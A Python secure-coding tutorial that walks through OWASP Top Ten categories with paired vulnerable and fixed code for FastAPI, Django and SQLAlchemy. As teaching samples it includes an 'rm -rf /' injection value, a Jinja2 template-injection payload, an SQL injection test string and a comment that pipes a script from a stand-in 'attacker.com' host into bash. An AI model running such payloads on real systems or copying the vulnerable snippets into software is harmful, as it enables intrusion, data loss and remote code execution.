Python OWASP Top Ten — Deep Dive

A01: Broken Access Control — The Persistent Leader

Broken access control has held the top spot since 2021, appearing in 94% of tested applications. The core failure: the server trusts the client to enforce access rules.

Insecure Direct Object Reference (IDOR)

# VULNERABLE: FastAPI endpoint trusts the user-supplied ID
@app.get("/api/invoices/{invoice_id}")
async def get_invoice(invoice_id: int, user: User = Depends(get_current_user)):
    invoice = await Invoice.get(id=invoice_id)
    return invoice  # No ownership check!

# SECURE: Verify the resource belongs to the requesting user
@app.get("/api/invoices/{invoice_id}")
async def get_invoice(invoice_id: int, user: User = Depends(get_current_user)):
    invoice = await Invoice.get(id=invoice_id)
    if invoice.owner_id != user.id:
        raise HTTPException(status_code=404)  # 404, not 403 — don't confirm existence
    return invoice

Returning 404 instead of 403 prevents enumeration: an attacker can’t distinguish “doesn’t exist” from “exists but not yours.”

Horizontal Privilege Escalation in Django

# VULNERABLE: Django view checks login but not ownership
@login_required
def edit_profile(request, user_id):
    profile = get_object_or_404(Profile, user_id=user_id)
    # Any logged-in user can edit any profile!

# SECURE: Scope queries to the requesting user
@login_required
def edit_profile(request):
    profile = get_object_or_404(Profile, user=request.user)
    # Can only access own profile

Function-Level Access Control

# Django: Enforce at the view level, not just the template
from django.contrib.auth.decorators import user_passes_test

def is_admin(user):
    return user.is_staff or user.groups.filter(name="admin").exists()

@user_passes_test(is_admin)
def admin_dashboard(request):
    return render(request, "admin/dashboard.html")

A02: Cryptographic Failures — Beyond Password Hashing

Data-at-Rest Encryption

from cryptography.fernet import Fernet

class EncryptedField:
    """Encrypt sensitive database fields."""
    
    def __init__(self, key: bytes):
        self.cipher = Fernet(key)
    
    def encrypt(self, plaintext: str) -> str:
        return self.cipher.encrypt(plaintext.encode()).decode()
    
    def decrypt(self, ciphertext: str) -> str:
        return self.cipher.decrypt(ciphertext.encode()).decode()

# Usage: encrypt PII before storage
field = EncryptedField(Fernet.generate_key())
encrypted_ssn = field.encrypt("123-45-6789")

TLS Configuration Hardening

import ssl

def hardened_ssl_context() -> ssl.SSLContext:
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.minimum_version = ssl.TLSVersion.TLSv1_2
    ctx.set_ciphers(
        "ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20"
    )
    ctx.options |= ssl.OP_NO_COMPRESSION  # CRIME attack mitigation
    return ctx

Case study: In 2013, Adobe stored 153 million passwords encrypted with 3DES-ECB (not hashed). Since ECB mode produces identical ciphertext for identical plaintext, attackers identified the most common passwords by frequency analysis without decrypting anything.

A03: Injection — The Full Spectrum

SQL Injection with SQLAlchemy

from sqlalchemy import text

# VULNERABLE: String interpolation
result = session.execute(
    text(f"SELECT * FROM users WHERE email = '{email}'")
)

# SECURE: Parameterized query
result = session.execute(
    text("SELECT * FROM users WHERE email = :email"),
    {"email": email}
)

OS Command Injection

import subprocess

# VULNERABLE: Shell=True with user input
subprocess.run(f"convert {filename} output.png", shell=True)
# filename = "; rm -rf /" → catastrophe

# SECURE: List arguments, no shell
subprocess.run(["convert", filename, "output.png"], shell=False)

Server-Side Template Injection (SSTI)

from jinja2 import Environment, SandboxedEnvironment

# VULNERABLE: User input as template
template = Environment().from_string(user_input)
# user_input = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"

# SECURE: Use SandboxedEnvironment for user-supplied templates
env = SandboxedEnvironment()
template = env.from_string(user_input)  # Blocks dangerous operations

Jinja2’s sandbox restricts access to dangerous attributes and functions. For user-generated content, prefer a simpler template language (Mustache, Handlebars) that doesn’t support code execution.

A05: Security Misconfiguration — Django Checklist

# settings.py — production hardening
DEBUG = False
ALLOWED_HOSTS = ["example.com", "www.example.com"]
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]  # Never hardcode

# Security middleware
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = "DENY"
SECURE_BROWSER_XSS_FILTER = True  # Deprecated but harmless

Run python manage.py check --deploy — Django’s built-in deployment checker flags missing security settings.

FastAPI Production Hardening

from fastapi import FastAPI
from starlette.middleware.trustedhost import TrustedHostMiddleware
from starlette.middleware.httpsredirect import HTTPSRedirectMiddleware

app = FastAPI(
    docs_url=None,         # Disable Swagger in production
    redoc_url=None,        # Disable ReDoc in production
    openapi_url=None,      # Disable OpenAPI schema
)

app.add_middleware(TrustedHostMiddleware, allowed_hosts=["example.com"])
app.add_middleware(HTTPSRedirectMiddleware)

A06: Vulnerable Components — Automated Scanning

# pip-audit: maintained by PyPI, uses the OSV database
pip install pip-audit
pip-audit

# safety: checks against the Safety vulnerability database
pip install safety
safety check

# In CI/CD (GitHub Actions example):
# - name: Security audit
#   run: pip-audit --strict --desc

Pinning with Hash Verification

# Generate hashes for all dependencies
pip install pip-tools
pip-compile --generate-hashes requirements.in

# requirements.txt now contains:
# requests==2.31.0 \
#     --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003eb

Hash verification ensures that even if PyPI is compromised, your CI/CD pipeline will reject tampered packages.

A08: Software and Data Integrity Failures

The Pickle Danger

import pickle

# VULNERABLE: Arbitrary code execution
data = pickle.loads(untrusted_bytes)
# An attacker can craft a pickle payload that executes:
# os.system("curl attacker.com/shell.sh | bash")

# SECURE alternatives:
import json
data = json.loads(untrusted_string)  # Safe — no code execution

import msgpack
data = msgpack.unpackb(untrusted_bytes)  # Safe — data only

Pickle deserialization is fundamentally unsafe with untrusted data. There is no way to make it safe — sandboxing, restricting classes, and custom Unpickler subclasses have all been bypassed. Use JSON, MessagePack, Protocol Buffers, or other data-only formats.

CI/CD Pipeline Integrity

# Verify GPG signatures on deployment artifacts
import subprocess
import sys

def verify_artifact(artifact_path: str, sig_path: str) -> bool:
    result = subprocess.run(
        ["gpg", "--verify", sig_path, artifact_path],
        capture_output=True
    )
    return result.returncode == 0

if not verify_artifact("app.tar.gz", "app.tar.gz.sig"):
    print("Artifact signature verification failed!")
    sys.exit(1)

A10: Server-Side Request Forgery — Defense in Depth

import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_NETWORKS = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),  # AWS metadata
    ipaddress.ip_network("::1/128"),
]

def is_safe_url(url: str) -> bool:
    """Check if a URL is safe to fetch (not targeting internal resources)."""
    parsed = urlparse(url)
    
    if parsed.scheme not in ("http", "https"):
        return False
    
    hostname = parsed.hostname
    if not hostname:
        return False
    
    # Resolve DNS to check actual IP
    try:
        results = socket.getaddrinfo(hostname, parsed.port or 443)
    except socket.gaierror:
        return False
    
    for family, socktype, proto, canonname, sockaddr in results:
        ip = ipaddress.ip_address(sockaddr[0])
        if any(ip in network for network in BLOCKED_NETWORKS):
            return False
    
    return True

# Usage: validate before fetching user-supplied URLs
if not is_safe_url(webhook_url):
    raise ValueError("URL targets a restricted network")

Critical note: DNS resolution must happen at validation time and the same resolved IP must be used for the actual request. Otherwise, an attacker can exploit DNS rebinding: the first resolution returns a public IP (passes validation), and the second returns 169.254.169.254 (reaches AWS metadata).

Security Testing Automation

# conftest.py — security-focused pytest fixtures
import pytest

@pytest.fixture
def unauthenticated_client(client):
    """Client with no auth — tests should get 401/403."""
    client.credentials()  # Clear any auth
    return client

@pytest.fixture  
def other_user_client(client, other_user):
    """Client authenticated as a different user — tests IDOR."""
    client.force_authenticate(user=other_user)
    return client

# test_security.py
class TestAccessControl:
    def test_cannot_view_other_users_invoice(self, other_user_client):
        response = other_user_client.get("/api/invoices/1/")
        assert response.status_code == 404
    
    def test_unauthenticated_cannot_access_api(self, unauthenticated_client):
        response = unauthenticated_client.get("/api/invoices/")
        assert response.status_code in (401, 403)
    
    def test_sql_injection_in_search(self, auth_client):
        response = auth_client.get("/api/search/?q=' OR 1=1--")
        assert response.status_code == 200
        # Should return empty results, not all records
        assert len(response.json()["results"]) == 0

Continuous Security Integration

# .github/workflows/security.yml
name: Security Checks
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Dependency audit
        run: pip-audit --strict
      - name: Static analysis
        run: bandit -r src/ -ll
      - name: Secret scanning
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./

Integrate these checks into every PR. Block merges on critical findings. This catches vulnerabilities before they reach production, when the cost of fixing them is lowest.

The one thing to remember: the OWASP Top Ten isn’t academic — each category has caused real breaches costing millions. Python’s ecosystem provides strong defenses for every category, but only when developers actively apply them to every endpoint, every query, and every data flow.

pythonsecurityweb-development

See Also